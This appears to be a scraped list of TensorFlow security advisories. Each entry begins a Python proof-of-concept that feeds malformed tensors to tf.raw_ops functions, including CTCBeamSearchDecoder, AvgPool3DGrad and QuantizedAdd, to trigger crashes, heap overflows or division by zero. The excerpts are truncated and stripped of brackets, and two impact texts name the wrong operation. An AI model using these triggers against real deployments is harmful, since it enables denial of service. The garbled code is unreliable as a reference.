Segfault in `CTCBeamSearchDecoder`

Impact Due to lack of validation in tf.rawops.CTCBeamSearchDecoder, an attacker can trigger denial of service via segmentation faults: python import tensorflow as tf inputs = tf.constant, shape=18, 8, 0, dtype=tf.float32 sequencelength = tf.constant11, -43, -92, 11, -89, -83, -35, -100, shape=8,...

Heap buffer overflow in `AvgPool3DGrad`

Impact The implementation of tf.rawops.AvgPool3DGrad is vulnerable to a heap buffer overflow: python import tensorflow as tf originputshape = tf.constant10, 6, 3, 7, 7, shape=5, dtype=tf.int32 grad = tf.constant0.01, 0, 0, shape=3, 1, 1, 1, 1, dtype=tf.float32 ksize = 1, 1, 1, 1, 1 strides = 1, 1...

Heap buffer overflow in `MaxPool3DGradGrad`

Impact The implementation of tf.rawops.MaxPool3DGradGrad is vulnerable to a heap buffer overflow: python import tensorflow as tf values = 0.01 11 originput = tf.constantvalues, shape=11, 1, 1, 1, 1, dtype=tf.float32 origoutput = tf.constant0.01, shape=1, 1, 1, 1, 1, dtype=tf.float32 grad =...

Undefined behavior in `MaxPool3DGradGrad`

Impact The implementation of tf.rawops.MaxPool3DGradGrad exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors: python import tensorflow as tf originput = tf.constant0.0, shape=1, 1, 1, 1, 1, dtype=tf.float32 origoutput = tf.constant0.0, shape=1, 1, 1,...

Reference binding to nullptr in `SdcaOptimizer`

Impact The implementation of tf.rawops.SdcaOptimizer triggers undefined behavior due to dereferencing a null pointer: python import tensorflow as tf sparseexampleindices = tf.constant0, dtype=tf.int64, tf.constant0, dtype=tf.int64 sparsefeatureindices = tf.constant, shape=0, 0, 0, 0,...

Memory corruption in `DrawBoundingBoxesV2`

Impact The implementation of tf.rawops.MaxPoolGradWithArgmax can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs: python import tensorflow as tf images = tf.fill10, 96, 0, 1, 0. boxes = tf.fill10, 53, 0, 0. colors = tf.fill0, 1, 0...

Heap out of bounds read in `MaxPoolGradWithArgmax`

Impact The implementation of tf.rawops.MaxPoolGradWithArgmax can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs: python import tensorflow as tf input = tf.constant10.0, 10.0, 10.0, shape=1, 1, 3, 1, dtype=tf.float32 grad = tf.constant10.0, 10.0,...

Heap out of bounds read in `RequantizationRange`

Impact The implementation of tf.rawops.MaxPoolGradWithArgmax can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs: python import tensorflow as tf input = tf.constant1, shape=1, dtype=tf.qint32 inputmax = tf.constant, dtype=tf.float32 inputmin =...

Null pointer dereference in `SparseFillEmptyRows`

Impact An attacker can trigger a null pointer dereference in the implementation of tf.rawops.SparseFillEmptyRows: python import tensorflow as tf indices = tf.constant, shape=0, 0, dtype=tf.int64 values = tf.constant, shape=0, dtype=tf.int64 denseshape = tf.constant, shape=0, dtype=tf.int64...

Null pointer dereference in `EditDistance`

Impact An attacker can trigger a null pointer dereference in the implementation of tf.rawops.EditDistance: python import tensorflow as tf hypothesisindices = tf.constant247, 247, 247, shape=1, 3, dtype=tf.int64 hypothesisvalues = tf.constant-9.9999, shape=1, dtype=tf.float32 hypothesisshape =...

GHSA-36VM-XW34-X4PJ CHECK-fail in `tf.raw_ops.IRFFT`

Impact An attacker can cause a denial of service by exploiting a CHECK-failure coming from the implementation of tf.rawops.IRFFT: python import tensorflow as tf values = -10.0 130 values0 = -9.999999999999995 inputs = tf.constantvalues, shape=10, 13, dtype=tf.float32 inputs = tf.castinputs,...

Heap buffer overflow in `RaggedTensorToTensor`

Impact An attacker can cause a heap buffer overflow in tf.rawops.RaggedTensorToTensor: python import tensorflow as tf shape = tf.constant10, 10, shape=2, dtype=tf.int64 values = tf.constant0, shape=1, dtype=tf.int64 defaultvalue = tf.constant0, dtype=tf.int64 l = 849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...

Division by 0 in `Reverse`

Impact An attacker can cause a denial of service via a FPE runtime error in tf.rawops.Reverse: python import tensorflow as tf tensorinput = tf.constant, shape=0, 1, 1, dtype=tf.int32 dims = tf.constantFalse, True, False, shape=3, dtype=tf.bool tf.rawops.Reversetensor=tensorinput, dims=dims This i...

Division by 0 in `FusedBatchNorm`

Impact An attacker can cause a denial of service via a FPE runtime error in tf.rawops.FusedBatchNorm: python import tensorflow as tf x = tf.constant, shape=1, 1, 1, 0, dtype=tf.float32 scale = tf.constant, shape=0, dtype=tf.float32 offset = tf.constant, shape=0, dtype=tf.float32 mean = tf.constan...

Division by 0 in `DenseCountSparseOutput`

Impact An attacker can cause a denial of service via a FPE runtime error in tf.rawops.DenseCountSparseOutput: python import tensorflow as tf values = tf.constant, shape=0, 0, dtype=tf.int64 weights = tf.constant tf.rawops.DenseCountSparseOutput values=values, weights=weights, minlength=-1,...

OOB read in `MatrixTriangularSolve`

Impact The implementation of MatrixTriangularSolve fails to terminate kernel execution if one validation condition fails: cc void ValidateInputTensorsOpKernelContext ctx, const Tensor& in0, const Tensor& in1 override OPREQUIRES ctx, in0.dims = 2, errors::InvalidArgument"In0 ndims must be = 2: ",...

Division by 0 in `FractionalAvgPool`

Impact An attacker can cause a runtime division by zero error and denial of service in tf.rawops.FractionalAvgPool: python import tensorflow as tf value = tf.constant60, shape=1, 1, 1, 1, dtype=tf.int32 poolingratio = 1.0, 1.0000014345305555, 1.0, 1.0 pseudorandom = False overlapping = False...

Division by 0 in `QuantizedAdd`

Impact An attacker can cause a runtime division by zero error and denial of service in tf.rawops.QuantizedAdd: python import tensorflow as tf x = tf.constant68, 228, shape=2, 1, dtype=tf.quint8 y = tf.constant, shape=2, 0, dtype=tf.quint8 minx = tf.constant10.723421015884028 maxx =...

Division by 0 in `QuantizedBatchNormWithGlobalNormalization`

Impact An attacker can cause a runtime division by zero error and denial of service in tf.rawops.QuantizedBatchNormWithGlobalNormalization: python import tensorflow as tf t = tf.constant, shape=0, 0, 0, 0, dtype=tf.quint8 tmin = tf.constant-10.0, dtype=tf.float32 tmax = tf.constant-10.0,...

Division by 0 in `QuantizedBiasAdd`

Impact An attacker can trigger an integer division by zero undefined behavior in tf.rawops.QuantizedBiasAdd: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 0, 0, dtype=tf.quint8 bias = tf.constant, shape=0, dtype=tf.quint8 mininput = tf.constant-10.0, dtype=tf.float32...